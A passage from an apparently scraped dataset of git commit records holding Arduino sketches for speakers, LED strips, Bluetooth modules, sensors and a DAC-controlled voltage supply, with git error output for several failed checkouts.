analogValue;\ndouble minLightValue = 650.0; \/\/ min analog value to turn on LED\n\nvoid setupEnvironmentSensor() {\n \/\/ sets up pin input\/output\n pinMode(photoresistorPin, INPUT);\n pinMode(sensorPin, INPUT);\n pinMode(speakerPin, OUTPUT); \n}\n\nvoid beep (unsigned char speakerPin, int frequencyInHertz, long timeInMilliseconds)\n{ \n digitalWrite(ledPin, HIGH); \n \/\/use led to visualize the notes being played\n \n int x; \n long delayAmount = (long)(1000000\/frequencyInHertz);\n long loopTime = (long)((timeInMilliseconds*1000)\/(delayAmount*2));\n for (x=0;x<loopTime;x++) \n { \n digitalWrite(speakerPin,HIGH);\n delayMicroseconds(delayAmount);\n digitalWrite(speakerPin,LOW);\n delayMicroseconds(delayAmount);\n } \n \n digitalWrite(ledPin, LOW);\n \/\/set led back to low\n \n delay(20);\n \/\/a little delay to make all notes sound separate\n} \n\n \nvoid march()\n{ \n \/\/for the sheet music see:\n \/\/http:\/\/www.musicnotes.com\/sheetmusic\/mtd.asp?ppn=MN0016254\n \/\/this is just a translation of said sheet music to frequencies \/ time in ms\n \/\/used 500 ms for a quart note\n \n beep(speakerPin, a, 500); \n beep(speakerPin, a, 500); \n beep(speakerPin, a, 500); \n beep(speakerPin, f, 350); \n beep(speakerPin, cH, 150);\n \n beep(speakerPin, a, 500);\n beep(speakerPin, f, 350);\n beep(speakerPin, cH, 150);\n beep(speakerPin, a, 1000);\n \/\/first bit\n \n beep(speakerPin, eH, 500);\n beep(speakerPin, eH, 500);\n beep(speakerPin, eH, 500); \n beep(speakerPin, fH, 350); \n beep(speakerPin, cH, 150);\n \n beep(speakerPin, gS, 500);\n beep(speakerPin, f, 350);\n beep(speakerPin, cH, 150);\n beep(speakerPin, a, 1000);\n \/\/second bit...\n \n beep(speakerPin, aH, 500);\n beep(speakerPin, a, 350); \n beep(speakerPin, a, 150);\n beep(speakerPin, aH, 500);\n beep(speakerPin, gSH, 250); \n beep(speakerPin, gH, 250);\n \n beep(speakerPin, fSH, 125);\n beep(speakerPin, fH, 125); \n beep(speakerPin, fSH, 250);\n delay(250);\n beep(speakerPin, aS, 250); \n beep(speakerPin, dSH, 500); \n beep(speakerPin, dH, 250); \n beep(speakerPin, cSH, 250); \n \/\/start of the interesting bit\n \n beep(speakerPin, cH, 125); \n beep(speakerPin, b, 125); \n beep(speakerPin, cH, 250); \n delay(250);\n beep(speakerPin, f, 125); \n beep(speakerPin, gS, 500); \n beep(speakerPin, f, 375); \n beep(speakerPin, a, 125); \n \n beep(speakerPin, cH, 500); \n beep(speakerPin, a, 375); \n beep(speakerPin, cH, 125); \n beep(speakerPin, eH, 1000); \n \/\/more interesting stuff (this doesn't quite get it right somehow)\n \n beep(speakerPin, aH, 500);\n beep(speakerPin, a, 350); \n beep(speakerPin, a, 150);\n beep(speakerPin, aH, 500);\n beep(speakerPin, gSH, 250); \n beep(speakerPin, gH, 250);\n \n beep(speakerPin, fSH, 125);\n beep(speakerPin, fH, 125); \n beep(speakerPin, fSH, 250);\n delay(250);\n beep(speakerPin, aS, 250); \n beep(speakerPin, dSH, 500); \n beep(speakerPin, dH, 250); \n beep(speakerPin, cSH, 250); \n \/\/repeat... repeat\n \n beep(speakerPin, cH, 125); \n beep(speakerPin, b, 125); \n beep(speakerPin, cH, 250); \n delay(250);\n beep(speakerPin, f, 250); \n beep(speakerPin, gS, 500); \n beep(speakerPin, f, 375); \n beep(speakerPin, cH, 125); \n \n beep(speakerPin, a, 500); \n beep(speakerPin, f, 375); \n beep(speakerPin, c, 125); \n beep(speakerPin, a, 1000); \n \/\/and we're done \\\u00f3\/ \n}\n\n\nbool isBarking() {\n bool retval = false;\n soundSensorValue = analogRead(sensorPin);\n\n if (soundSensorValue>minSoundThreshold) {\n digitalWrite (ledPin, HIGH); \n beep(speakerPin, a, 10); \n retval = true;\n }\n \n if (debug) { Serial.print(\"Sound:\");Serial.println (soundSensorValue, DEC); }\n\n sensor.sound = soundSensorValue;\n \n return retval;\n}\n\nbool isDark() {\n bool retval = false;\n \/\/ reads analog input\n analogValue = analogRead(photoresistorPin);\n \/\/ if input is less than minLightValue turn on LED\n \n if (analogValue < minLightValue) {\n digitalWrite(ledPin, HIGH);\n retval = true;\n } else {\n digitalWrite(ledPin, LOW); \n }\n if (debug) {Serial.println(analogValue);}\n \n \/\/ reads photoresistor every half second\n \/\/delay(500);\n sensor.light = analogValue;\n return retval;\n}\n\nvoid buzz() {\n beep(speakerPin, a, 300);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'SensorimotorController\/SenseAndMove\/EnvironmentSensor.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"e5a6bc3f849a6819f7622d83a809c359933157cb","subject":"Added a simple bit-banging PWM app to drive a piezoelectric speaker","message":"Added a simple bit-banging PWM app to drive a piezoelectric speaker\n","repos":"jadamsowers\/arduino","old_file":"piezo-test\/piezo-test.ino","new_file":"piezo-test\/piezo-test.ino","new_contents":"\/*\n * Using an Arduino to drive a piezoelectric speaker\n * Normally these speakers emit a single tone but by bit-banging \n * we can approximate other tones via PWM\n * \n * Expects a linear potentiometer output on the analogIn pin (0-5v)\n * and a piezo on the speaker pin. Add another pot to the speaker pin\n * for volume control. You'll thank me later.\n * \n * the v[] array represents a series of durations (in \u03bcs) for which \n * the pin should be held HIGH, and then held LOW for the same amount\n * of time. This should look like a square wave.\n * \n * The analogIn signal (0-1023) is scaled to the size of the array, \n * and the appropriate duration is a simple lookup rather than a \n * computation. \n *\/\n\n\n\n\/\/ 128 steps of more or less continuous tones\n\/*\nconst long v[] = {100000, 50000, 33333, 25000, 20000, 16666, 14285, 12500, \n 11111, 10000, 9090, 8333, 7692, 7142, 6666, 6250, \n 5882, 5555, 5263, 5000, 4761, 4545, 4347, 4166, \n 4000, 3846, 3703, 3571, 3448, 3333, 3225, 3125, \n 3030, 2941, 2857, 2777, 2702, 2631, 2564, 2500, \n 2439, 2380, 2325, 2272, 2222, 2173, 2127, 2083, \n 2040, 2000, 1960, 1923, 1886, 1851, 1818, 1785, \n 1754, 1724, 1694, 1666, 1639, 1612, 1587, 1562, \n 1538, 1515, 1492, 1470, 1449, 1428, 1408, 1388, \n 1369, 1351, 1333, 1315, 1298, 1282, 1265, 1250, \n 1234, 1219, 1204, 1190, 1176, 1162, 1149, 1136, \n 1123, 1111, 1098, 1086, 1075, 1063, 1052, 1041, \n 1030, 1020, 1010, 1000, 990, 980, 970, 961, \n 952, 943, 934, 925, 917, 909, 900, 892, \n 884, 877, 869, 862, 854, 847, 840, 833, \n 826, 819, 813, 806, 800, 793, 787, 781};\n*\/\n\n\n\/\/ C major octave: C3, D3, E3, F3, G3, A3, B3, C4 \nconst long v[] = {3822, 3405, 3033, 2863, 2551, 2272, 2024, 1911}; \n\nconst int analogIn = A0;\nconst int speaker = 9;\nconst int led = 13;\n\n\/\/ beware: DEBUG throws off the timing\nconst int DEBUG = false;\n\nvoid setup() \n{ \n pinMode(analogIn, INPUT);\n pinMode(speaker, OUTPUT);\n if(DEBUG) Serial.begin(115200); \n \n int scaling = (1024 * sizeof(long)) \/ sizeof(v);\n\n \/\/ hack; supposedly loops run tighter in the setup() function than loop() \u00af\\_(\u30c4)_\/\u00af\n while(true)\n {\n int a = 0;\n long d = 0;\n a = analogRead(analogIn) \/ scaling;\n d = v[a]; \n if(DEBUG) debugValues(a, d);\n\n \/\/ simulating a square wave: on for v[a] \u03bcs, off for v[a] \u03bcs\n digitalWrite(speaker, HIGH);\n delayMicroseconds(d);\n digitalWrite(speaker, LOW);\n delayMicroseconds(d);\n \n }\n}\n\nvoid debugValues(int a, int d)\n{ \n \/\/ you crazy, arduino string concatenation\n String debug = \"[\" + a;\n debug = debug + \"] -> [\" + d;\n debug = debug + \"]\";\n Serial.println(debug);\n}\n\nvoid loop() \n{\n \/\/ this function never runs since it never leaves setup()\n}\n \n","old_contents":"","returncode":1,"stderr":"error: pathspec 'piezo-test\/piezo-test.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"e9764e4fba138c8995a8385db11e25f375809554","subject":"Basic Main File","message":"Basic Main File","repos":"PanneauLED\/Teensy-Files","old_file":"Programme_pour_bluetooth.ino","new_file":"Programme_pour_bluetooth.ino","new_contents":"#include <FastLED.h>\n\/\/ nb de ligne par groupe\n#define nbLine 4\n\/\/ nb de led par ligne\n#define nLEDs 64\n\n#define NUM_LEDS nbLine*nLEDs\n#define nbGroupe 6\n#define totLED NUM_LEDS*nbGroupe\n\n\/\/definition des pin correspondant aux rubans\n#define CLOCKPIN_0 11\n#define CLOCKPIN_1 9\n#define CLOCKPIN_2 7\n#define CLOCKPIN_3 17\n#define CLOCKPIN_4 15\n#define CLOCKPIN_5 13\n\n#define DATAPIN_0 12\n#define DATAPIN_1 10\n#define DATAPIN_2 8\n#define DATAPIN_3 18\n#define DATAPIN_4 16\n#define DATAPIN_5 14\n\n\/\/Sortie bluetooth Serial\n#define BLUETOOTH Serial1\n\/\/ tableau des couleurs des leds\nCRGB leds[nbGroupe][NUM_LEDS];\n\n\/\/ num\u00e9ro de la Led \nuint16_t i=0;\n\/\/ num\u00e9ro du groupe courant\nint groupenum=0;\n\/\/temps du dernier pixel re\u00e7u\nunsigned long lastUpdateTime=millis();\nvoid reinitialiser(){\n \n if (millis()-lastUpdateTime>1000){\n groupenum=0;\n i=0;\n }\n \n}\n\n\n\nvoid loadImage(){\n \/* chaque groupe de trois octets repr\u00e9sente \n les couleurs d'un pixel dans l'ordre RGB.\n On charge le pixels dans le tableau \u00e0 son\n emplacement correspondant *\/\n if (BLUETOOTH.available()>2){\n lastUpdateTime=millis();\n \n leds[groupenum][i].red=BLUETOOTH.read();\n leds[groupenum][i].green=BLUETOOTH.read();\n leds[groupenum][i].blue=BLUETOOTH.read();\n i++;\n \/* On remet le num\u00e9ro de la led du compteur \n a z\u00e9ro quand on arrive au bout *\/\n if (i>NUM_LEDS-1){\n groupenum++;\n \/* si on a mis \u00e0 jour tout les pixels\n on affiche le r\u00e9sultat *\/\n if (groupenum==nbGroupe){\n groupenum=0;\n FastLED.show();\n } \n i=0;\n }\n }\n}\n\nuint16_t state = 0;\n\/**************************************************\n * Change la couleur des Led de mani\u00e8re continue *\n * Permet de tester si elle fonctionne toute *\n * *\n **************************************************\/\n void fading(){\n byte r,g ,b;\n switch(state \/ 128)\n {\n case 0:\n r = 127 - state % 128; \/\/ red down\n g = state % 128; \/\/ green up\n b = 0; \/\/ blue off\n break;\n case 1:\n g = 127 - state % 128; \/\/ green down\n b = state % 128; \/\/ blue up\n r = 0; \/\/ red off\n break;\n case 2:\n b = 127 - state % 128; \/\/ blue down\n r = state % 128; \/\/ red up\n g = 0; \/\/ green off\n break;\n }\n\n for(byte k=0;k<nbGroupe;k++){\n for (int j=0; j<nbLine;j++){\n for (int i =0;i<nLEDs;i++){\n leds[k][j*nLEDs+i].red=r;\n leds[k][j*nLEDs+i].green=g;\n leds[k][j*nLEDs+i].blue=b;\n }\n \n } \n \n FastLED.show();\n } \n state++;\n if (state==384){state=0;}\n }\n\nvoid setup(){\n \/\/ on initialise la connexion serial\n \/\/Serial.begin(9600);\n BLUETOOTH.begin(115200);\n BLUETOOTH.print(\"start\");\n \/\/ on ajoute tout les rubans de led un par un\n FastLED.addLeds<LPD8806, DATAPIN_0,CLOCKPIN_0>(leds[0], NUM_LEDS);\n FastLED.addLeds<LPD8806, DATAPIN_1,CLOCKPIN_1>(leds[1], NUM_LEDS); \n FastLED.addLeds<LPD8806, DATAPIN_2,CLOCKPIN_2>(leds[2], NUM_LEDS); \n FastLED.addLeds<LPD8806, DATAPIN_3,CLOCKPIN_3>(leds[3], NUM_LEDS); \n FastLED.addLeds<LPD8806, DATAPIN_4,CLOCKPIN_4>(leds[4], NUM_LEDS);\n FastLED.addLeds<LPD8806, DATAPIN_5,CLOCKPIN_5>(leds[5], NUM_LEDS);\n fading();\n \n}\nvoid loop(){\n loadImage();\n reinitialiser();\n fading();\n}\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Programme_pour_bluetooth.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"ca16216a912e9ac349952a1cfbffd3b326948f66","subject":"Remove extraneous include files (that were commented out)","message":"Remove extraneous include files (that were commented out)\n","repos":"upperman\/Wireless-Led-Display,upperman\/Wireless-Led-Display","old_file":"Software\/arduino\/arduino.ino","new_file":"Software\/arduino\/arduino.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/upperman\/Wireless-Led-Display.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"3529c8409dc0a6ff27e0d03ed604c21a19426c69","subject":"added line follower example","message":"added line follower example\n","repos":"garmstrong456\/TEC-Bot-Zumo-Cornell,garmstrong456\/TEC-Bot-Zumo-Cornell","old_file":"daily code\/Day 5\/LineFollower\/LineFollower.ino","new_file":"daily code\/Day 5\/LineFollower\/LineFollower.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'daily' did not match any file(s) known to git\nerror: pathspec 'code\/Day' did not match any file(s) known to git\nerror: pathspec '5\/LineFollower\/LineFollower.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"d4219dd7ab1c59e922c44388512c6acf940f4dbe","subject":"Most recent (I know bad commit)","message":"Most recent (I know bad commit)\n","repos":"buuav\/hackathon1","old_file":"Ultrasonic Wall Follower\/Wall_AvoidancePID_Maze_\/Wall_AvoidancePID_Maze_.ino","new_file":"Ultrasonic Wall Follower\/Wall_AvoidancePID_Maze_\/Wall_AvoidancePID_Maze_.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Ultrasonic' did not match any file(s) known to git\nerror: pathspec 'Wall' did not match any file(s) known to git\nerror: pathspec 'Follower\/Wall_AvoidancePID_Maze_\/Wall_AvoidancePID_Maze_.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"410a444c40c74c94144006469d781f02f41b5696","subject":"first version bluetooth test","message":"first version bluetooth test\n","repos":"pedroscaff\/sensor_platform,pedroscaff\/sensor_platform","old_file":"tests\/bluetooth\/src\/sketch.ino","new_file":"tests\/bluetooth\/src\/sketch.ino","new_contents":"\/*\n Test for Bluetooth module\n HC-06 RS232\n\n Setup:\n http:\/\/playground.arduino.cc\/uploads\/Learning\/bluetooth.gif\n*\/\n\n#include <SoftwareSerial.h>\n\n#define LEDpin 13\n\n#define BluRX 0\n#define BluTX 1\n\nSoftwareSerial bluSerial(BluRX, BluTX);\n\nvoid setup() {\n Serial.begin(9600);\n\n pinMode(BluRX, INPUT);\n pinMode(BluTX, OUTPUT);\n\n setupBlueToothConnection();\n \n pinMode(LEDpin, OUTPUT);\n}\n\nvoid loop() {\n \/* digitalWrite(13, LOW); *\/\n digitalWrite(LEDpin, HIGH);\n delay(2000);\n digitalWrite(LEDpin, LOW);\n delay(2000);\n \n \/* char val; *\/\n \/* while(1) { *\/\n \/* if (Serial.available()) { *\/\n \/* if (bluSerial.available()) { *\/\n \/* val = bluSerial.read(); *\/\n \/* Serial.print(val); *\/\n \/* } *\/\n \/* } *\/\n \/* } *\/\n \/* if (val == '1') { *\/\n \/* digitalWrite(LEDpin, HIGH); *\/\n \/* } *\/\n \/* if (val == '0') { *\/\n \/* digitalWrite(LEDpin, LOW); *\/\n \/* } *\/\n}\n\nvoid setupBlueToothConnection()\n{\n bluSerial.begin(38400); \/\/Set BluetoothBee BaudRate to default baud rate 38400\n bluSerial.print(\"\\r\\n+STWMOD=0\\r\\n\"); \/\/set the bluetooth work in slave mode\n bluSerial.print(\"\\r\\n+STNA=SeeedBTSlave\\r\\n\"); \/\/set the bluetooth name as \"SeeedBTSlave\"\n bluSerial.print(\"\\r\\n+STOAUT=1\\r\\n\"); \/\/ Permit Paired device to connect me\n bluSerial.print(\"\\r\\n+STAUTO=0\\r\\n\"); \/\/ Auto-connection should be forbidden here\n delay(2000); \/\/ This delay is required.\n bluSerial.print(\"\\r\\n+INQ=1\\r\\n\"); \/\/make the slave bluetooth inquirable \n Serial.println(\"The slave bluetooth is inquirable!\");\n delay(2000); \/\/ This delay is required.\n bluSerial.flush();\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'tests\/bluetooth\/src\/sketch.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"746c70fc5da6ac22c7524c00d7fecf9d2dfe7b99","subject":"added sensor and pump test","message":"added sensor and pump test\n","repos":"CyrilBos\/JardIUT,CyrilBos\/JardIUT","old_file":"Arduino\/tests.ino","new_file":"Arduino\/tests.ino","new_contents":"const int PUMP_PIN = 48;\n\nvoid setup() {\n Serial.begin(9600);\n pinMode(PUMP_PIN, OUTPUT);\n}\n\nvoid loop() {\n Serial.println(analogRead(A0));\n digitalWrite(PUMP_PIN, HIGH);\n delay(1000);\n digitalWrite(PUMP_PIN, LOW);\n delay(1000);\n }\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino\/tests.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"0774ddaf75ca9aa3a26013d46a30197fc87904e7","subject":"Added WIP Arduino code","message":"Added WIP Arduino code\n\nArduino code which includes:\n- Working RF24 library\n- Working Door-sensor\n\nNot included:\n- NFC-kit\n","repos":"tdmike\/EmergingTechnologies,tdmike\/EmergingTechnologies,tdmike\/EmergingTechnologies,tdmike\/EmergingTechnologies,tdmike\/EmergingTechnologies,tdmike\/EmergingTechnologies","old_file":"Deur applicatie\/Arduino\/EmergingTech_deur.ino","new_file":"Deur applicatie\/Arduino\/EmergingTech_deur.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/tdmike\/EmergingTechnologies.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"51f62979b3aa46f4f22975a6b5d7ee3406db783d","subject":"Adding Fire2012 example -- the Examples folder now needs serious organization, but one step at a time since I have a few minutes free to do this part.","message":"Adding Fire2012 example -- the Examples folder now needs serious organization, but one step at a time since I have a few minutes free to do this part.\n","repos":"NicoHood\/FastLED,neographophobic\/FastLED,wilhelmryan\/FastLED,tullo-x86\/FastLED,PaulStoffregen\/FastLED,MiketheChap\/FastLED,wsilverio\/FastLED,eshkrab\/FastLED-esp32,yaneexy\/FastLED,neographophobic\/FastLED,felixLam\/FastLED,ryankenney\/FastLED,MiketheChap\/FastLED,eshkrab\/FastLED-esp32,remspoor\/FastLED,MattDurr\/FastLED,felixLam\/FastLED,FastLED\/FastLED,PaulStoffregen\/FastLED,wsilverio\/FastLED,liyanage\/FastLED,FastLED\/FastLED,wilhelmryan\/FastLED,liyanage\/FastLED,remspoor\/FastLED,FastLED\/FastLED,corbinstreehouse\/FastLED,tullo-x86\/FastLED,kcouck\/FastLED,PaulStoffregen\/FastLED,corbinstreehouse\/FastLED,NicoHood\/FastLED,kcouck\/FastLED,MattDurr\/FastLED,ryankenney\/FastLED,yaneexy\/FastLED,FastLED\/FastLED","old_file":"examples\/Fire2012\/Fire2012.ino","new_file":"examples\/Fire2012\/Fire2012.ino","new_contents":"#include <FastLED.h>\n\n#define LED_PIN 5\n#define COLOR_ORDER GRB\n#define CHIPSET WS2811\n#define NUM_LEDS 30\n\n#define BRIGHTNESS 200\n#define FRAMES_PER_SECOND 60\n\nCRGB leds[NUM_LEDS];\n\nvoid setup() {\n delay(3000); \/\/ sanity delay\n FastLED.addLeds<CHIPSET, LED_PIN, COLOR_ORDER>(leds, NUM_LEDS).setCorrection( TypicalLEDStrip );\n FastLED.setBrightness( BRIGHTNESS );\n}\n\nvoid loop()\n{\n \/\/ Add entropy to random number generator; we use a lot of it.\n random16_add_entropy( random());\n\n Fire2012(); \/\/ run simulation frame\n \n FastLED.show(); \/\/ display this frame\n FastLED.delay(1000 \/ FRAMES_PER_SECOND);\n}\n\n\n\/\/ Fire2012 by Mark Kriegsman, July 2012\n\/\/ as part of \"Five Elements\" shown here: http:\/\/youtu.be\/knWiGsmgycY\n\/\/\/\/ \n\/\/ This basic one-dimensional 'fire' simulation works roughly as follows:\n\/\/ There's a underlying array of 'heat' cells, that model the temperature\n\/\/ at each point along the line. Every cycle through the simulation, \n\/\/ four steps are performed:\n\/\/ 1) All cells cool down a little bit, losing heat to the air\n\/\/ 2) The heat from each cell drifts 'up' and diffuses a little\n\/\/ 3) Sometimes randomly new 'sparks' of heat are added at the bottom\n\/\/ 4) The heat from each cell is rendered as a color into the leds array\n\/\/ The heat-to-color mapping uses a black-body radiation approximation.\n\/\/\n\/\/ Temperature is in arbitrary units from 0 (cold black) to 255 (white hot).\n\/\/\n\/\/ This simulation scales it self a bit depending on NUM_LEDS; it should look\n\/\/ \"OK\" on anywhere from 20 to 100 LEDs without too much tweaking. \n\/\/\n\/\/ I recommend running this simulation at anywhere from 30-100 frames per second,\n\/\/ meaning an interframe delay of about 10-35 milliseconds.\n\/\/\n\/\/ Looks best on a high-density LED setup (60+ pixels\/meter).\n\/\/\n\/\/\n\/\/ There are two main parameters you can play with to control the look and\n\/\/ feel of your fire: COOLING (used in step 1 above), and SPARKING (used\n\/\/ in step 3 above).\n\/\/\n\/\/ COOLING: How much does the air cool as it rises?\n\/\/ Less cooling = taller flames. More cooling = shorter flames.\n\/\/ Default 50, suggested range 20-100 \n#define COOLING 55\n\n\/\/ SPARKING: What chance (out of 255) is there that a new spark will be lit?\n\/\/ Higher chance = more roaring fire. Lower chance = more flickery fire.\n\/\/ Default 120, suggested range 50-200.\n#define SPARKING 120\n\n\nvoid Fire2012()\n{\n\/\/ Array of temperature readings at each simulation cell\n static byte heat[NUM_LEDS];\n\n \/\/ Step 1. Cool down every cell a little\n for( int i = 0; i < NUM_LEDS; i++) {\n heat[i] = qsub8( heat[i], random8(0, ((COOLING * 10) \/ NUM_LEDS) + 2));\n }\n \n \/\/ Step 2. Heat from each cell drifts 'up' and diffuses a little\n for( int k= NUM_LEDS - 3; k > 0; k--) {\n heat[k] = (heat[k - 1] + heat[k - 2] + heat[k - 2] ) \/ 3;\n }\n \n \/\/ Step 3. Randomly ignite new 'sparks' of heat near the bottom\n if( random8() < SPARKING ) {\n int y = random8(7);\n heat[y] = qadd8( heat[y], random8(160,255) );\n }\n\n \/\/ Step 4. Map from heat cells to LED colors\n for( int j = 0; j < NUM_LEDS; j++) {\n leds[j] = HeatColor( heat[j]);\n }\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/Fire2012\/Fire2012.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"c592c3e06437c85b374e593f823e2768b029fb1a","subject":"we switch back to normal blinky","message":"we switch back to normal blinky\n","repos":"trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone","old_file":"ArduinoClient\/ArduinoClient.ino","new_file":"ArduinoClient\/ArduinoClient.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/trinamic\/T-Bone.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"a200f9b74110f9302a5e69f8080e13e6ba4c43a6","subject":"adding initial attempt at writing an Arduino sketch for this.","message":"adding initial attempt at writing an Arduino sketch for this.\n","repos":"pepaslabs\/ProgrammableLM317,pepaslabs\/ProgrammableLM317,pepaslabs\/ProgrammableLM317","old_file":"arduino_code\/arduino_code.ino","new_file":"arduino_code\/arduino_code.ino","new_contents":"\/*\n ATtiny85SerialHello.ino: Repeatedly print \"hello\" and blink an LED.\n Copyright Jason Pepas (Pepas Labs, LLC)\n Released under the terms of the MIT License. See http:\/\/opensource.org\/licenses\/MIT\n*\/\n\n#include <SoftwareSerial.h>\n#include <WOTinySoftSPI.h>\n#include <MCP4801SoftSPI.h>\n\n\/\/ ATiny85 pinout:\n\/\/\n\/\/ +--\\\/--+\n\/\/ (PCINT5\/!RESET\/ADC0\/dW) PB5 -|1 8|- VCC\n\/\/ (PCINT3\/XTAL1\/CLKI\/!OC1B\/ADC3) PB3 -|2 7|- PB2 (SCK\/USCK\/SCL\/ADC1\/T0\/INT0\/PCINT2)\n\/\/ (PCINT4\/XTAL2\/CLKO\/OC1B\/ADC2) PB4 -|3 6|- PB1 (MISO\/DO\/AIN1\/OC0B\/OC1A\/PCINT1)\n\/\/ GND -|4 5|- PB0 (MOSI\/DI\/SDA\/AIN0\/OC0A\/!OC1A\/AREF\/PCINT0)\n\/\/ +------+\n\n#define ARDUINO_PIN_D0 0\n#define ARDUINO_PIN_D1 1\n#define ARDUINO_PIN_D2 2\n#define ARDUINO_PIN_D3 3\n#define ARDUINO_PIN_D4 4\n#define ARDUINO_PIN_D5 5\n\n#define ATTINY_PIN_1 ARDUINO_PIN_D5\n#define ATTINY_PIN_2 ARDUINO_PIN_D3\n#define ATTINY_PIN_3 ARDUINO_PIN_D4\n#define ATTINY_PIN_5 ARDUINO_PIN_D0\n#define ATTINY_PIN_6 ARDUINO_PIN_D1\n#define ATTINY_PIN_7 ARDUINO_PIN_D2\n\n\/\/ project pinout:\n\/\/\n\/\/ +--\\\/--+\n\/\/ D5 -|1 8|- Vcc\n\/\/ TTL serial RX D3 -|2 7|- D2 SPI chip select (to DAC)\n\/\/ TTL serial TX D4 -|3 6|- D1 SPI SCK (to DAC)\n\/\/ GND -|4 5|- D0 SPI MOSI (to DAC)\n\/\/ +------+\n\n#define SoftSPI_MOSI_pin ARDUINO_PIN_D0\n#define SoftSPI_SCK_pin ARDUINO_PIN_D1\n#define MCP4801_SLAVESELECTLOW_pin ARDUINO_PIN_D2\n#define MCP4801_LDACLOW_pin PIN_NOT_CONNECTED\n#define MCP4801_SHUTDOWNLOW_pin PIN_NOT_CONNECTED\n\n#define RX_pin ARDUINO_PIN_D3\n#define TX_pin ARDUINO_PIN_D4\n\n\/\/ --- SPI \/ MCP4801 DAC setup\n\nWOTinySoftSPI mySPI(SoftSPI_MOSI_pin, SoftSPI_SCK_pin);\n\nMCP4801SoftSPI voltageDAC(MCP4801_SLAVESELECTLOW_pin,\n MCP4801_LDACLOW_pin,\n MCP4801_SHUTDOWNLOW_pin,\n &mySPI\n );\n\n\/\/ --- serial port setup\n\nSoftwareSerial mySerial(RX_pin, TX_pin);\n\nvoid setup()\n{\n mySerial.begin(9600); \/\/ SERIAL_7E1\n \/\/ hrmmm... SoftwareSerial doesn't support parity. bummer.\n \/\/ however, if we are only dealing with 7-bit ASCII, we can\n \/\/ just implement our own parity (and the other host can\n \/\/ configure their connection as 7E1).\n \n \/\/ start up the SPI bus\n mySPI.begin();\n mySPI.setBitOrder(MSBFIRST);\n mySPI.setDataMode(SPI_MODE0);\n\n \/\/ start controlling the voltage supply\n voltageDAC.begin(); \n}\n\n\/*\n\nSerial terminal interface:\n\nTo set the output voltage to 5 volts:\n\n v5.000;\n\nTo set the bits in the DAC to 0xFF (8-bit DAC):\n\n 0xFF;\n\nTo set the bits in the DAC to 0x3FF (10-bit DAC):\n\n 0x3FF;\n\nTo set the bits in the DAC to 0xFFF (12-bit DAC):\n\n 0xFFF;\n\nTo increase the DAC output by one LSB:\n\n +;\n\nTo decrease the DAC output by one LSB:\n\n -;\n\n*\/\n\n#define MIN_EXPECTED_LEN 2 \/\/ +;\n#define MAX_EXPECTED_LEN 8 \/\/ v12.345;\n\n\/*\nthe ';' character sent using SERIAL_8N1 looks like this in binary:\n\n 0b00111011\n \nsent using SERIAL_7E1, it looks like this:\n\n 0b01110111\n\nwhich is the same as a 'w' sent over SERIAL_8N1:\n\n 0b01110111\n\nso we can use the stock SoftwareSerial.readBytesUntil(), but listen for 'w'.\n*\/\n\n#define SEMICOLON_WITH_EVEN_PARITY 'w'\n\nuint16_t DAC_bits = 0;\n\n#define MCP4801_NUM_BITS 8\n#define MCP4811_NUM_BITS 10\n#define MCP4821_NUM_BITS 12\n\nuint8_t DAC_num_bits = MCP4801_NUM_BITS;\n\n#define COMMAND_SENTINEL ';'\n\n#define BUFF_LEN (MAX_EXPECTED_LEN + sizeof('\\0'))\nchar buffer[BUFF_LEN];\n\n\nvoid loop()\n{\n memset(buffer, 0, sizeof(buffer));\n bool ok;\n \n uint8_t num_bytes_read = mySerial.readBytesUntil('z', buffer, MAX_EXPECTED_LEN);\n if (num_bytes_read < MIN_EXPECTED_LEN)\n {\n nope('a');\n return;\n }\n \n if (buffer[num_bytes_read - 1] != COMMAND_SENTINEL)\n {\n nope('b');\n return;\n }\n\n buffer[num_bytes_read] = '\\0';\n \n \/*\n bool ok = check_and_strip_parity_from_buffer(buffer, (num_bytes_read - 1));\n if (!ok)\n {\n nope();\n return;\n }\n *\/\n\n if (buffer[0] == '+')\n {\n ok = increment_output_voltage();\n }\n else if (buffer[0] == '-')\n {\n ok = decrement_output_voltage();\n }\n else if (buffer[0] == 'v')\n {\n ok = parse_and_run_voltage_command(buffer);\n }\n else if (buffer[0] == '0')\n {\n ok = parse_and_run_hex_command(buffer);\n }\n else\n {\n ok = false;\n }\n\n if (ok)\n {\n ack();\n }\n else\n {\n nope('c');\n }\n}\n\nvoid 